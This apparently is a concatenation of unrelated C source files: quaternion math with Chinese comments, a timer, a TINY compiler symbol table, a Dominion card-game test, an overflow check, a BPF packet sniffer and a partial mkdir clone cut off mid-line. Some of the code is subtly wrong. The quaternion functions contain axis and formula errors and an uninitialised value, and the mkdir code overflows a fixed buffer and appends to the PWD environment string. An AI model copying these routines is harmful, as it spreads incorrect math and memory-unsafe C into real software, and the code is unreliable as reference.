quaternion_vector_add(q1.vec_x_y_z,q2.vec_x_y_z); return q; } quaternion quaternion_sub(quaternion q1,quaternion q2) { quaternion q; q.t = q1.t - q2.t; q.vec_x_y_z = quaternion_vector_sub(q1.vec_x_y_z,q2.vec_x_y_z); return q; } //quaternion 乘以实数scalar quaternion quaternion_mul_scalar(quaternion q1,float scalar) { q1.t *= scalar; q1.x *= scalar; q1.y *= scalar; q1.z *= scalar; return q1; } //quaternion的普通乘法 q1*q2 quaternion quaternion_mul(quaternion q1,quaternion q2) { //q = t + v形式的乘法 /*quaternion q; q.t = (q1->t * q2->t) - (quaternion_vector_dot_mul(&q1->vec_x_y_z,&q2->vec_x_y_z)) ; quaternion_vector t1_mul_v2 = quaternion_vector_mul(&q2->vec_x_y_z,q1->t); quaternion_vector t2_mul_v1 = quaternion_vector_mul(&q1->vec_x_y_z,q2->t); quaternion_vector v1_corss_v2 = quaternion_vector_cross_mul(&q1->vec_x_y_z,&q2->vec_x_y_z); q.vec_x_y_z = quaternion_vector_add(&t1_mul_v2,&t2_mul_v1); q.vec_x_y_z = quaternion_vector_add(&q.vec_x_y_z,&v1_corss_v2); return q;*/ //q = (t,x,y,z)形式的乘法 quaternion q; q.t = q1.t*q2.t - q1.x * q2.x - q1.y * q2.y - q1.z * q2.z; q.x = q1.t*q2.x + q1.x*q2.t + q1.y*q2.z - q1.z * q2.y; q.y = q1.t*q2.y - q1.x*q2.z + q1.y*q2.t + q1.z*q2.x; q.z = q1.t*q2.z + q1.x*q2.y - q1.y*q2.x + q1.z*q2.t; return q; } //quaternion的dot product(点乘,把quaternion当成4D vector),其实等于quaternion_mul(q1,quaternion_conjugate(q2)) float quaternion_dot_mul(quaternion q1,quaternion q2) { float dot = q1.t * q2.t + q1.x * q2.x + q1.y * q2.y + q1.z * q2.z; return dot; } //把quaternion转换成矩阵 Matrix3 quaternion_to_matrix3(quaternion q) { Matrix3 m; m.m00 = q.t + q.x * q.x - q.y * q.y - q.z * q.z; m.m01 = 2*q.x*q.y - 2*q.t * q.z; m.m02 = 2*q.x*q.z + 2*q.t*q.y; m.m10 = 2*q.x*q.y + 2 * q.t*q.z; m.m11 = q.t*q.t - q.x*q.x + q.y*q.y - q.z*q.z; m.m12 = 2*q.y*q.z - 2*q.t*q.x; m.m20 = 2*q.x*q.z - 2*q.t* q.y ; m.m21 = 2*q.y*q.z + 2*q.t*q.x; m.m22 = q.t*q.t - q.x*q.x - q.y*q.y + q.z*q.z; return m; } //把quaternion转换成4x4的矩阵m44,用来和另外一个quaternion转换成的4x1的另外向量m41相乘,得到一个4x1向量 // q * p -> matrix_q * p //把q左乘一个p转换成matrix_q*p Matrix4 __quaternion_to_matrix4_left(quaternion q) { Matrix4 m; m.m00 = q.t; m.m01 = - q.x; m.m02 = -q.y; m.m03 = -q.z; m.m10 = q.x; m.m11 = q.t; m.m12 = -q.z; m.m13 = q.y; m.m20 = q.y; m.m21 = q.z; m.m22 = q.t; m.m23 = -q.x; m.m30 = q.z; m.m31 = -q.y; m.m32 = q.x; m.m33 = q.t; return m; } //把quaternion转换成4x4的矩阵m44,用来和另外一个quaternion转换成的4x1的另外向量m41相乘,得到一个4x1向量 //p * q - > marix_q * p //把p坐成一个q转换成matrix_q*p,用来对q*p*q-1 的右边进行处理 Matrix4 __quaternion_to_matrix4_right(quaternion q) { Matrix4 m; m.m00 = q.t; m.m01 = - q.x; m.m02 = -q.y; m.m03 = -q.z; m.m10 = q.x; m.m11 = q.t; m.m12 = q.z; m.m13 = -q.y; m.m20 = q.y; m.m21 = -q.z; m.m22 = q.t; m.m23 = q.x; m.m30 = q.z; m.m31 = q.y; m.m32 = -q.x; m.m33 = q.t; return m; } quaternion quaternion_mul_q_p_q_reverse_matrix_form(quaternion q,quaternion p) { quaternion q_inverse = quaternion_inverse(q); Matrix4 m_left = __quaternion_to_matrix4_left(q); Matrix4 m_right = __quaternion_to_matrix4_right(q_inverse); Matrix4 m = m_right*m_left; vector4 v4; v4.w = p.t; v4.x = p.x; v4.y = p.y; v4.z = p.z; vector4 res = m*v4; quaternion res_q; res_q.t = res.w; res_q.x = res.x; res_q.y = res.y; res_q.z = res.z; return res_q; } //对于是unit-norm quaternion的q,先求出4x4矩阵,再计算qpq-1 //unit-norm quaternion的4x4矩阵有一定规律 quaternion quaternion_mul_unit_norm_q_p_q_reverse_matrix_form(quaternion q,quaternion p) { float s = q.t; float x = q.x; float y = q.y; float z = q.z; Matrix4 m( 1, 0, 0, 0, 0, 1 - 2*(y*y + z*z), 2*(x*y - s*z), 2*(x*z + s*y), 0, 2*(x*y + s*z), 1-2*(x*x + z*z), 2*(y*z - s*x), 0, 2*(x*y - s*y), 2*(y*z + s*z), 1-2*(x*x + y*y) ); vector4 v4; v4.w = p.t; v4.x = p.x; v4.y = p.y; v4.z = p.z; //用矩阵计算 vector4 res = m*v4; //赋值给quaternion quaternion res_q; res_q.t = res.w; res_q.x = res.x; res_q.y = res.y; res_q.z = res.z; return res_q; } //对于unint-norm quaterion q ,把qpq-1里的q 和 q-1转换成两个矩阵相乘的形式3X3矩阵m,用m来和unit quaternion p=0+ li+mj+nk的(l,m,n)向量相乘即可 Matrix3 __quaternion_mul_q_p_q_reverse_matrix3(quaternion q) { /*q = x + xi + yj + zk形式 matrix = 2(s^2 + x^2)-1, 2(xy - sz), 2(xz + sy) 2(xy + sz), 2(x^2 + y^2)-1, 2(yz - sy) 2(xz - sy), 2(yz + sx), 2(s^2 + z^2) - 1 */ float s = q.t; float x = q.x; float y = q.y; float z = q.z; Matrix3 m( 2*(s*s + x*x)-1, 2*(x*y - s*z), 2*(x*z + s*y), 2*(x*y + s*z), 2*(x*x + y*y)-1, 2*(y*z - s*y), 2*(x*z - s*y), 2*(y*z + s*x), 2*(s*s + z*z) - 1 ); return m; } //把p用qpq-1的形式旋转,q为unit quaternion quaternion quaternion_mul_q_p_q_reverse_vector_form(quaternion q,quaternion p) { Matrix3 m_for_p; m_for_p.m00 = p.x; m_for_p.m10 = p.y; m_for_p.m20 = p.z; Matrix3 m_mul = __quaternion_mul_q_p_q_reverse_matrix3(q); Matrix3 res = m_mul*m_for_p; quaternion res_q; res_q.t = 0; res_q.x = res.m00; res_q.y = res.m10; res_q.z = res.m20; return res_q; } /*q^t,计算quaternion q 的 t次幂,t为float 根据欧拉公式(euler's identity: e^(iθ) = cos(θ) + sin(θ)*i; 对于任意的quaternion q = a + xi+yj+zk,都可写成 q = a + tv(v为单位向量) (因为欧拉公式对于实数部分为0的单位quaternion v,v*v = -1,有着和虚数i同样的性质,推导的话参见euler的级数展开) 所以对于quaternion的euler's identity为: (v为单位向量;q为unit norm quaternion--长度为1的quaternion) q = cosθ+ sinθ* v = e^(θv); (I) 对于实数部分为0的unit quaternion q,有: e^q = e^(θv) = cosθ + sinθv (II) (关于上面这个怎么推导出来的:因为对于实数部分为0的q,肯定可以表示成某一个实数θ乘以单位向量v,θv,根据euler's identity 对quaternion也成立的上面的公式,可以得到e^q = e^(0+q) = e^(0+θv) = e cosθ + sinθ* v) 对于unit form quaternion q: ln(q) = ln(cosθ+sinθv) = ln(e^(θv) ) = θv (III) q^0 = e^( ln(q^0) ) = e^( 0*ln(q) ) = e^( 0*θv ) 根据(III) = e^( 0*v ) = cos(0) + sin(0)v 根据(II) = 1 + 0v = 1 q^1 = e(ln(q^1) ) = e(1 * ln(q) ) = 1* e(ln(q)) = q; */ //q的实数部分为0,q is unit quaternion. quaternion quaternion_unit_quaternion_exp(quaternion q,float t) { /* q^t = e^( ln( q^t ) ) = e^( t*ln(q) ) = e^( t*ln(q) ) = e^( t*θv ) = e^( (t*θ)v ) = cos(tθ) + sin(tθ) v; 正确性??? */ quaternion r; float rad_cos = acos(q.t); float scale = 1/sqrt(q.x*q.x + q.y*q.y+q.z*q.z); rad_cos = rad_cos*t; r.t = cos(rad_cos); r.x = sin(rad_cos)*scale*r.x; r.y = sin(rad_cos)*scale*r.y; r.z = sin(rad_cos)*scale*r.z; return r; } /*http://www.3dgep.com/understanding-quaternions/#more-1815 使用的是里面的 q' = q1(q1-1 q2 )^t的形式来进行quaternion的slerp */ quaternion quaternion_slerp1(quaternion q1,quaternion q2,float t) { // diff = q1-1 * q2; quaternion diff = quaternion_inverse(q1); diff = quaternion_mul(diff,q2); quaternion exponent = quaternion_unit_quaternion_exp(diff,t); quaternion r; r = quaternion_mul(exponent,q1); return r; } /*对于slerp,有通用公式: sin(1-t)θ sintθ vt = --------- * v1 + ------ * v2 sinθ sinθ 参数q1,q2必须是unit form quaternion 下面代码的形式经过化简其实就能得到 上面的通用公式, 参见我QQ空间的推导 */ quaternion quaternion_slerp(quaternion v0,quaternion v1,float t) { //v0 and v1 should be unit length or else // something broken will happen. // Compute the cosine of the angle between the two vectors. float dot = quaternion_dot_mul(v0,v1); quaternion res; const float DOT_TRESHOLD = 0.9995; if (dot > DOT_TRESHOLD) { // result = v0 + t*(v1 dot_mul v0); // If the inputs are too close for comfort, linearly interpolate // and normalize the result. res = quaternion_add(v0,quaternion_mul_scalar(quaternion_mul(v0,v1),t) ); res = quaternion_normalize(res); return res; } // Robustness: Stay within domain of acos() if (dot < -1.0f) dot = -1.0f; if(dot > 1.0f) dot = 1.0f; // theta_0 = angle between input vectors float theta_0 = acos(dot); //theta = angle between v0 and result float theta = theta_0*t; //quaternion v2 = v1 - v0*dot; //v2.normalize(); // { v0, v2 } is now an orthonormal basis quaternion v2 = quaternion_sub(v1,quaternion_mul_scalar(v0,dot)); v2 = quaternion_normalize(v2); quaternion res_1 = quaternion_mul_scalar(v0,cos(theta)); quaternion res_2 = quaternion_mul_scalar(v2,sin(theta)); res = quaternion_add(res_1,res_2); return res; } float slerp_linear_correction(float t,float alpha,float k,float attenuation) { double factor = 1 - attenuation * cos(alpha); factor *= factor; k *= factor; float b = 2 * k; float c = -3 * k; float d = 1 + k; double tprime_divided_by_t = t * (b*t + c) + d; return tprime_divided_by_t; } quaternion quaternion_slerp_linear_approximate(quaternion v0,quaternion v1,float t) { float dot = quaternion_dot_mul(v0,v1); quaternion res; const float DOT_TRESHOLD = 0.9995; if (dot > DOT_TRESHOLD) { // result = v0 + t*(v1 dot_mul v0); // If the inputs are too close for comfort, linearly interpolate // and normalize the result. res = quaternion_add(v0,quaternion_mul_scalar(quaternion_mul(v0,v1),t) ); res = quaternion_normalize(res); return res; } return res; } //围绕向量(x,y,z)为单位向量,旋转theta角度的quaternion quaternion get_quaternion_from_unit_vector_theta(float x,float y,float z,float theta) { float half_theta = theta*0.5; quaternion q; q.t = cos(half_theta); q.x = x * sin(half_theta); q.y = y * sin(half_theta); q.z = y * sin(half_theta); return q; } quaternion get_quaternion_from_euler_angle(float angle_a,float angle_b,float angle_c) { float half_angle_a = angle_a*0.5; float half_angle_b = angle_b*0.5; float half_angle_c = angle_c*0.5; quaternion qa(cos(half_angle_a),sin(half_angle_a),0,0); quaternion qb(cos(half_angle_b),0,sin(half_angle_b),0); quaternion qc(cos(half_angle_c),0,0,sin(half_angle_c)); qa = quaternion_mul(qa,qb); qa = quaternion_mul(qa,qc); return qa; } /* quaternion的幂: e=1 + 1/1 + 1/1*2 + 1/1*2*3 + 1/1*2*3*4 ... Euler's Identity: e(ix) = cos(x) + i*sin(x) */ //根据旋转轴 v(x,y,z) 和half-turn的值h ,求quaternion /* 要求的quaternions为:q = t + v 其中v=(x,y,z) h= |v|/t = sqrt(x^2+y^2+z^2)/t 所以t= |v|/h = sqrt(x^2+y^2+z^2)/h */ quaternion __nouse__get_quaternion_from_v_halfturn(quaternion_vector qv,float ht) { float t = sqrt( qv.x * qv.x + qv.y*qv.y + qv.z * qv.z) / ht; quaternion q; q.t = t; q.vec_x_y_z = qv; return q; } //根据旋转轴v(x,y,z) 和 旋转的弧度r,求quaternion !!!!!这里有个问题就是rad不能为pi,这时候tan(pi/2)为正无穷,怎么办? //需要做的仅仅是把旋转的弧度r转变为half-turn,然后代入get_quaternion_from_vht /* cos(r) = (1-h^2)/(1+h^2) sin(r) = 2h/(1+h^2) 或者直接一点tan(r/2) = h; 推导出: */ quaternion __nouse__get_quaternion_from_v_rad(quaternion_vector qv,float rad) { float ht = tan(rad/2); float t = sqrt( qv.x * qv.x + qv.y*qv.y + qv.z * qv.z) / ht; quaternion q; q.t = t; q.vec_x_y_z = qv; return q; }
C
#include "time-cmap.h" #include "mem-cmap.h" // - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - static void PrintCalc(char *text, clock_t t){ uint32_t seconds = t / CLOCKS_PER_SEC; if(seconds <= 60) fprintf(stdout, "%s cpu time: %u second(s).\n", text, seconds); else if(seconds <= 3600) fprintf(stdout, "%s cpu time: %u minute(s) and %u second(s).\n", text, seconds / 60, seconds % 60); else fprintf(stdout, "%s cpu time: %u hour(s) and %u minute(s).\n", text, seconds / 3600, seconds % 3600); } // - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - TIME *CreateClock(clock_t t){ TIME *Time = (TIME *) Calloc(1, sizeof(TIME)); Time->cpu_start = t; return Time; } // - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - void StopTimeNDRM(TIME *Time, clock_t t){ Time->cpu_ndrm = t - Time->cpu_start; } // - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - void StopCalcAll(TIME *Time, clock_t t){ Time->cpu_total = t - Time->cpu_start; // PrintCalc("NDRM ", Time->cpu_ndrm); PrintCalc("Total", Time->cpu_total); } // - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - void RemoveClock(TIME *Time){ Free(Time); } // - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
C
/****************************************************/ /* File: symtab.c */ /* Symbol table implementation for the TINY compiler*/ /* (allows only one symbol table) */ /* Symbol table is implemented as a chained */ /* hash table */ /* Compiler Construction: Principles and Practice */ /* Kenneth C. Louden */ /****************************************************/ #include <stdio.h> #include <stdlib.h> #include <string.h> #include "symtab.h" #include "globals.h" /* SHIFT is the power of two used as multiplier in hash function */ #define SHIFT 4 #define MAX_SCOPES 1000 /* the hash function */ static int hash ( char * key ) { int temp = 0; int i = 0; while (key[i] != '\0') { temp = ((temp << SHIFT) + key[i]) % SIZE; ++i; } return temp; } ScopeList scopes[MAX_SCOPES], scopeStack[MAX_SCOPES]; int cntScope = 0, cntScopeStack = 0, location[MAX_SCOPES]; /* Procedure st_insert inserts line numbers and * memory locations into the symbol table * loc = memory location is inserted only the * first time, otherwise ignored */ //void st_insert( char * scope, char * name, ExpType type, int lineno, int loc ) void st_insert( char * name, int lineno, int loc, TreeNode * treeNode ) { int h = hash(name); ScopeList nowScope = sc_top(); BucketList l = nowScope->hashTable[h]; while ((l != NULL) && (strcmp(name,l->name) != 0)) l = l->next; if (l == NULL) /* variable not yet in table */ { //printf("variable not in table %d\n",loc); l = (BucketList) malloc(sizeof(struct BucketListRec)); l->name = name; l->treeNode = treeNode; l->lines = (LineList) malloc(sizeof(struct LineListRec)); l->lines->lineno = lineno; l->memloc = loc; l->lines->next = NULL; l->next = nowScope->hashTable[h]; nowScope->hashTable[h] = l; } else /* found in table, so just add line number */ { // LineList t = l->lines; // while (t->next != NULL) t = t->next; // t->next = (LineList) malloc(sizeof(struct LineListRec)); // t->next->lineno = lineno; // t->next->next = NULL; } } /* st_insert */ /* Function st_lookup returns the memory * location of a variable or -1 if not found */ int st_lookup ( char * name ) { BucketList l = get_bucket(name); if(l != NULL) return l->memloc; return -1; } void st_add_lineno( char * name, int lineno ) { BucketList bl = get_bucket(name); LineList ll = bl->lines; while(ll->next != NULL) ll = ll->next; ll->next = (LineList) malloc(sizeof(struct LineListRec)); ll->next->lineno = lineno; ll->next->next = NULL; } int st_lookup_top ( char * name ) { int h = hash(name); ScopeList nowScope = sc_top(); //while(nowScope != NULL) BucketList l = nowScope->hashTable[h]; while((l != NULL) && (strcmp(name,l->name) != 0)) l = l->next; if(l != NULL) return l->memloc; // nowScope = nowScope->parent; return -1; } BucketList get_bucket ( char * name ) { int h = hash(name); ScopeList nowScope = sc_top(); while(nowScope != NULL) { BucketList l = nowScope->hashTable[h]; while((l != NULL) && (strcmp(name,l->name) != 0) ) l = l->next; if(l != NULL) return l; nowScope = nowScope->parent; } return NULL; } /* Stack for static scope */ ScopeList sc_create ( char * funcName ) { ScopeList newScope; newScope = (ScopeList) malloc(sizeof(struct ScopeListRec)); newScope->funcName = funcName; newScope->nestedLevel = cntScopeStack; newScope->parent = sc_top(); scopes[cntScope++] = newScope; return newScope; } ScopeList sc_top( void ) { if(!cntScopeStack) return NULL; return scopeStack[cntScopeStack - 1]; } void sc_pop ( void ) { if(cntScopeStack) cntScopeStack--; } void sc_push ( ScopeList scope ) { scopeStack[cntScopeStack] = scope; location[cntScopeStack++] = 0; } int addLocation ( void ) { return location[cntScopeStack - 1]++; } /* Procedure printSymTab prints a formatted * listing of the symbol table contents * to the listing file */ void printSymTab(FILE * listing) { print_SymTab(listing); fprintf(listing,"\n"); print_FuncTab(listing); fprintf(listing,"\n"); print_Func_globVar(listing); fprintf(listing,"\n"); print_FuncP_N_LoclVar(listing); } /* printSymTab */ void print_SymTab(FILE * listing) { int i, j; fprintf(listing,"< Symbol Table >\n"); fprintf(listing,"Variable Name Variable Type Scope Name Location Line Numbers\n"); fprintf(listing,"------------- ------------- ---------- -------- ------------\n"); for (i = 0; i < cntScope; i++) { ScopeList nowScope = scopes[i]; BucketList * hashTable = nowScope->hashTable; for (j = 0; j < SIZE; j++) { if(hashTable[j] != NULL) { BucketList bl = hashTable[j]; TreeNode * node = bl->treeNode; while(bl != NULL) { LineList ll = bl->lines; fprintf(listing,"%-15s",bl->name); switch (node->nodekind) { case DeclK: switch (node->kind.decl) { case FuncK: fprintf(listing,"%-15s","Function"); break; case VarK: switch (node->type) { case Void: fprintf(listing,"%-15s","Void"); break; case Integer: fprintf(listing,"%-15s","Integer"); break; default: break; } break; case ArrVarK: fprintf(listing,"%-15s","IntegerArray"); break; default: break; } break; case ParamK: switch (node->kind.param) { case ArrParamK: fprintf(listing,"%-15s","IntegerArray"); break; case NonArrParamK: fprintf(listing,"%-15s","Integer"); break; default: break; } break; default: break; } fprintf(listing,"%-12s",nowScope->funcName); fprintf(listing,"%-10d",bl->memloc); while(ll != NULL) { fprintf(listing,"%4d",ll->lineno); ll = ll->next; } fprintf(listing,"\n"); bl = bl->next; } } } } } void print_FuncTab(FILE * listing) { int i, j, k, l; fprintf(listing,"< Function Table >\n"); fprintf(listing,"Function Name Scope Name Return Type Parameter Name Parameter Type\n"); fprintf(listing,"------------- ---------- ----------- -------------- --------------\n"); for (i = 0; i < cntScope; i++) { ScopeList nowScope = scopes[i]; BucketList * hashTable = nowScope->hashTable; for (j = 0; j < SIZE; j++) { if(hashTable[j] != NULL) { BucketList bl = hashTable[j]; TreeNode * node = bl->treeNode; while(bl != NULL) { switch (node->nodekind) { case DeclK: if(node->kind.decl == FuncK) /* Function print */ { fprintf(listing,"%-15s",bl->name); fprintf(listing,"%-12s",nowScope->funcName); switch (node->type) { case Void: fprintf(listing,"%-13s","Void"); break; case Integer: fprintf(listing,"%-13s","Integer"); break; default: break; } int noParam = TRUE; for (k = 0; k < cntScope; k++) { ScopeList paramScope = scopes[k]; if (strcmp(paramScope->funcName, bl->name) != 0) continue; BucketList * paramhashTable = paramScope->hashTable; //printf("c\n"); for (l = 0; l < SIZE; l++) { if(paramhashTable[l] != NULL) { BucketList pbl = paramhashTable[l]; TreeNode * pnode = pbl->treeNode; while(pbl != NULL) { switch (pnode->nodekind) { case ParamK: noParam = FALSE; fprintf(listing,"\n"); fprintf(listing,"%-40s",""); fprintf(listing,"%-16s",pbl->name); switch (pnode->type) { case Integer: fprintf(listing,"%-14s","Integer"); break; case IntegerArray: fprintf(listing,"%-14s","IntegerArray"); break; default: break; } break; default: break; } pbl = pbl->next; } } } break; } if (noParam) { fprintf(listing,"%-16s",""); if (strcmp(bl->name, "output") != 0) fprintf(listing,"%-14s","Void"); else fprintf(listing,"\n%-56s%-14s","","Integer"); } fprintf(listing,"\n"); } break; default: break; } bl = bl->next; } } } } } void print_Func_globVar(FILE * listing) { int i, j; fprintf(listing,"< Function and Global Variables >\n"); fprintf(listing," ID Name ID Type Data Type \n"); fprintf(listing,"------------- --------- -----------\n"); for (i = 0; i < cntScope; i++) { ScopeList nowScope = scopes[i]; if (strcmp(nowScope->funcName, "global") != 0) continue; BucketList * hashTable = nowScope->hashTable; for (j = 0; j < SIZE; j++) { if(hashTable[j] != NULL) { BucketList bl = hashTable[j]; TreeNode * node = bl->treeNode; while(bl != NULL) { switch (node->nodekind) { case DeclK: fprintf(listing,"%-15s",bl->name); switch (node->kind.decl) { case FuncK: fprintf(listing,"%-11s","Function"); switch (node->type) { case Void: fprintf(listing,"%-11s","Void"); break; case Integer: fprintf(listing,"%-11s","Integer"); break; default: break; } break; case VarK: switch (node->type) { case Void: fprintf(listing,"%-11s","Variable"); fprintf(listing,"%-11s","Void"); break; case Integer: fprintf(listing,"%-11s","Variable"); fprintf(listing,"%-11s","Integer"); break; default: break; } break; case ArrVarK: fprintf(listing,"%-11s","Variable"); fprintf(listing,"%-15s","IntegerArray"); break; default: break; } fprintf(listing,"\n"); break; default: break; } bl = bl->next; } } } break; } } void print_FuncP_N_LoclVar(FILE * listing) { int i, j; fprintf(listing,"< Function Parameter and Local Variables >\n"); fprintf(listing," Scope Name Nested Level ID Name Data Type \n"); fprintf(listing,"-------------- ------------ ------------- -----------\n"); for (i = 0; i < cntScope; i++) { ScopeList nowScope = scopes[i]; if (strcmp(nowScope->funcName, "global") == 0) continue; BucketList * hashTable = nowScope->hashTable; //fprintf(listing,"%s\n",nowScope->funcName); int noParamVar = TRUE; for (j = 0; j < SIZE; j++) { if(hashTable[j] != NULL) { BucketList bl = hashTable[j]; TreeNode * node = bl->treeNode; while(bl != NULL) { switch (node->nodekind) { case DeclK: noParamVar = FALSE; fprintf(listing,"%-16s",nowScope->funcName); fprintf(listing,"%-14d",nowScope->nestedLevel); switch (node->kind.decl) { case VarK: switch (node->type) { case Void: fprintf(listing,"%-15s",node->attr.name); fprintf(listing,"%-11s","Void"); break; case Integer: fprintf(listing,"%-15s",node->attr.name); fprintf(listing,"%-11s","Integer"); break; default: break; } break; case ArrVarK: fprintf(listing,"%-15s",node->attr.arr.name); fprintf(listing,"%-11s","IntegerArray"); break; default: break; } fprintf(listing,"\n"); break; case ParamK: noParamVar = FALSE; fprintf(listing,"%-16s",nowScope->funcName); fprintf(listing,"%-14d",nowScope->nestedLevel); switch (node->kind.param) { case ArrParamK: fprintf(listing,"%-15s",node->attr.name); fprintf(listing,"%-11s","IntegerArray"); break; case NonArrParamK: fprintf(listing,"%-15s",node->attr.name); fprintf(listing,"%-11s","Integer"); break; default: break; } fprintf(listing,"\n"); break; default: break; } bl = bl->next; } } } if (!noParamVar) fprintf(listing,"\n"); } }
C
#include "dominion.h" #include "dominion_helpers.h" #include <string.h> #include <stdio.h> #include <assert.h> #include "rngs.h" #include <stdlib.h> //checks that buyCard(int supplyPos, struct gameState *state) works. int supply pos is something like "estate", it's the card name. int main() { int seed = 1000; int numPlayers = 2; int thisPlayer = 0; struct gameState game, testGame; int k[10] = {adventurer, embargo, village, minion, mine, cutpurse, sea_hag, tribute, smithy, council_room}; // initialize a game state and player cards initializeGame(numPlayers, k, seed, &game); printf("--------------------Testing buyCard(): -------------------\n"); //copy the state to another "test" state. memcpy(&testGame, &game, sizeof(struct gameState)); //test buyCard under normal conditions printf("Before we test that the buyCard fails, let's ensure it works like it's supposed to.\n"); printf("Since the least money you can start with is 2, you should always be able to buy an estate.\n"); int supplyBefore = supplyCount(estate, &testGame); int testBuy = buyCard(estate, &testGame); int supplyAfter = supplyCount(estate, &testGame); printf("Supply before the buy attempt is: %d and supply after is: %d. \n", supplyBefore, supplyAfter); assert(supplyBefore == supplyAfter + 1); assert(testBuy == 0); //reset the testing states printf("We will reinitialize the game and test game between each test to ensure all data is reset to normal.\n"); initializeGame(numPlayers, k, seed, &game); memcpy(&testGame, &game, sizeof(struct gameState)); //test buyCard() with 0 buys printf("Confirm that you cannot buy a card if you have no buys left to make.\n"); printf("We will change the numBuys of testGame to 0 and then attempt to buy an estate.\n"); testGame.numBuys = 0; supplyBefore = supplyCount(estate, &testGame); testBuy = buyCard(estate, &testGame); supplyAfter = supplyCount(estate, &testGame); printf("Supply before the buy attempt is: %d and supply after is: %d. \n", supplyBefore, supplyAfter); assert(supplyBefore == supplyAfter); assert(testBuy == -1); //reset again initializeGame(numPlayers, k, seed, &game); memcpy(&testGame, &game, sizeof(struct gameState)); printf("We've RESET again.\n"); //test buyCard() with supply of 0. printf("Confirm that if the supply count is 0, you cannot buy that card.\n"); testGame.supplyCount[estate] = 0; printf("We've set the test game's estate supply count to 0.\n"); supplyBefore = supplyCount(estate, &testGame); testBuy = buyCard(estate, &testGame); supplyAfter = supplyCount(estate, &testGame); printf("Supply before the buy attempt is: %d and supply after is: %d. \n", supplyBefore, supplyAfter); assert(supplyBefore == supplyAfter); assert(testBuy == -1); //reset again initializeGame(numPlayers, k, seed, &game); memcpy(&testGame, &game, sizeof(struct gameState)); printf("We've RESET again.\n"); //test buyCard() with 0 coins printf("Confirm that if the supply count is 0, you cannot buy that card.\n"); testGame.coins = 0; printf("We've set the test game's coin count to 0.\n"); supplyBefore = supplyCount(estate, &testGame); testBuy = buyCard(estate, &testGame); supplyAfter = supplyCount(estate, &testGame); printf("Supply before the buy attempt is: %d and supply after is: %d. \n", supplyBefore, supplyAfter); assert(supplyBefore == supplyAfter); assert(testBuy == -1); printf("If we didn't get an error, SUCCESS\n"); printf("------------------THIS CONCLUDES TESTING FOR buyCard() ---------------- \n"); return 0; }
C
#include <stdio.h> int tmult_ok(int x, int y) { int64_t q = (int64_t)x * y; return q == (int32_t)q; } int tmult_ok_book(int x, int y) { int q = x * y; return x == 0 || q / x == y; } int main(int argc, char *argv[]) { /* * 0 * 0 * 0 * 0 * 1 * 1 */ printf("%d\n", tmult_ok_book(10, 2137483647)); printf("%d\n", tmult_ok(10, 2137483647)); printf("%d\n", tmult_ok_book(12345678, 9999999)); printf("%d\n", tmult_ok(12345678, 9999999)); printf("%d\n", tmult_ok_book(10, 214748364)); printf("%d\n", tmult_ok(10, 214748364)); }
C
#include "sniffer.h" //Finds BPF Device void pick_device(bpfsnif *snif){ char name[11]={0}; for (int i = 0; i < 99; ++i) { sprintf(name, "/dev/bpf%i", i); snif->fd = open(name, O_RDWR); if (snif->fd != -1) { strcpy(snif->devName, name); return; } } } //Prints modifiable options void print_options(bpfopt opt, FILE *log){ fprintf(log ,"BPF Options:\n"); fprintf(log, " Network Device Interface: %s\n", opt.netDev); fprintf(log, " Buffer Length: %d\n", opt.bufLen); } //Initialize sniffer struct and run checks int init_sniffer(bpfopt opt, bpfsnif *snif) { unsigned int enable = 1; if (opt.bufLen == 0) { //Get buffer length if (ioctl(snif->fd, BIOCGBLEN, &snif->bufLen) == -1) { perror("ERROR: ioctl BIOCGBLEN"); return -1; } } else { //Set buffer length with BIOSETIF as it must be set before the file //is attached to the interface if (ioctl(snif->fd, BIOCSBLEN, &opt.bufLen) == -1) { perror("ERROR: ioctl BIOCSBLEN"); return -1; } snif->bufLen = opt.bufLen; } struct ifreq interface; // Link to network interface strcpy(interface.ifr_name, opt.netDev); if(ioctl(snif->fd, BIOCSETIF, &interface) > 0) { perror("ioctl BIOCSETIF"); return -1; } // Read immediatley upon receipt for enabled if (ioctl(snif->fd, BIOCIMMEDIATE, &enable) == -1) { perror("ioctl BIOCIMMEDIATE"); return -1; } // Force promiscuois mode to process all packets. Not just those destined for the local host if (ioctl(snif->fd, BIOCPROMISC, NULL) == -1) { perror("ioctl BIOCPROMISC"); return -1; } return 1; } //Print parameters for Sniffer void print_params(bpfsnif snif, FILE *log){ fprintf(log, "BpfSniffer:\n"); fprintf(log, "\t\tOpened BPF Device: %s\n", snif.devName); fprintf(log, "\t\tBuffer Length: %d\n", snif.bufLen); } //Free buffer and close files void clean_up(FILE *log, bpfsnif *snif){ free(snif->buf); fclose(log); close(snif->fd); }
C
#include<stdio.h> #include<stdlib.h> #include<unistd.h> #include<getopt.h> #include<sys/stat.h> #include<dirent.h> #include<sys/types.h> #include<pwd.h> #include<grp.h> #include<time.h> #include<string.h> int parent(int argc, char**argv, char* dirname) { printf("We used only the parent argument\n"); int j = 0; int i = 0; char str[40]; strcpy(str, argv[optind]); char *file_ptr = strtok(str, "/"); char *array[5]; while (file_ptr != NULL) { array[i++] = file_ptr; file_ptr = strtok (NULL, "/"); } char* OG_dir = dirname; char slash[] = "/"; DIR *current_dir; while (j < i) { printf("We are in the loop.\n"); mkdir(array[j], S_IRWXU | S_IRWXG | S_IRWXO); // printf("Hopefully we made some directories\n"); strcat(dirname, slash); printf("%s\n", dirname); strcat(dirname, array[j]); printf("%s\n", dirname); chdir(dirname); current_dir = opendir(dirname); //going one directory down in theory j++; } return 0; } int orphan(int argc, char** argv) { printf("We have not used any argument\n"); if (optind < argc) printf("In theory, these will be our files: \n"); while (optind < argc) { printf ("%s\n", argv[optind]); mkdir(argv[optind], S_IRWXU | S_IRWXG | S_IRWXO); optind++; } return 0; } int loud(int argc, char** argv) { printf("We used only the verbose argument\n"); if (optind < argc) printf("In theory, these will be our files: \n"); while (optind < argc) { printf ("%s\n", argv[optind]); mkdir(argv[optind], S_IRWXU | S_IRWXG | S_IRWXO); printf("mkdir: created directory '%s' \n", argv[optind]); optind++; } return 0; } int main(int argc, char** argv) { int command_flag[2]; //argument flag int command_index = 0; int sarg; char* dirname = getenv("PWD"); //find the directories pathname DIR *current_dir = opendir(dirname); //opening our current directory (this will be our 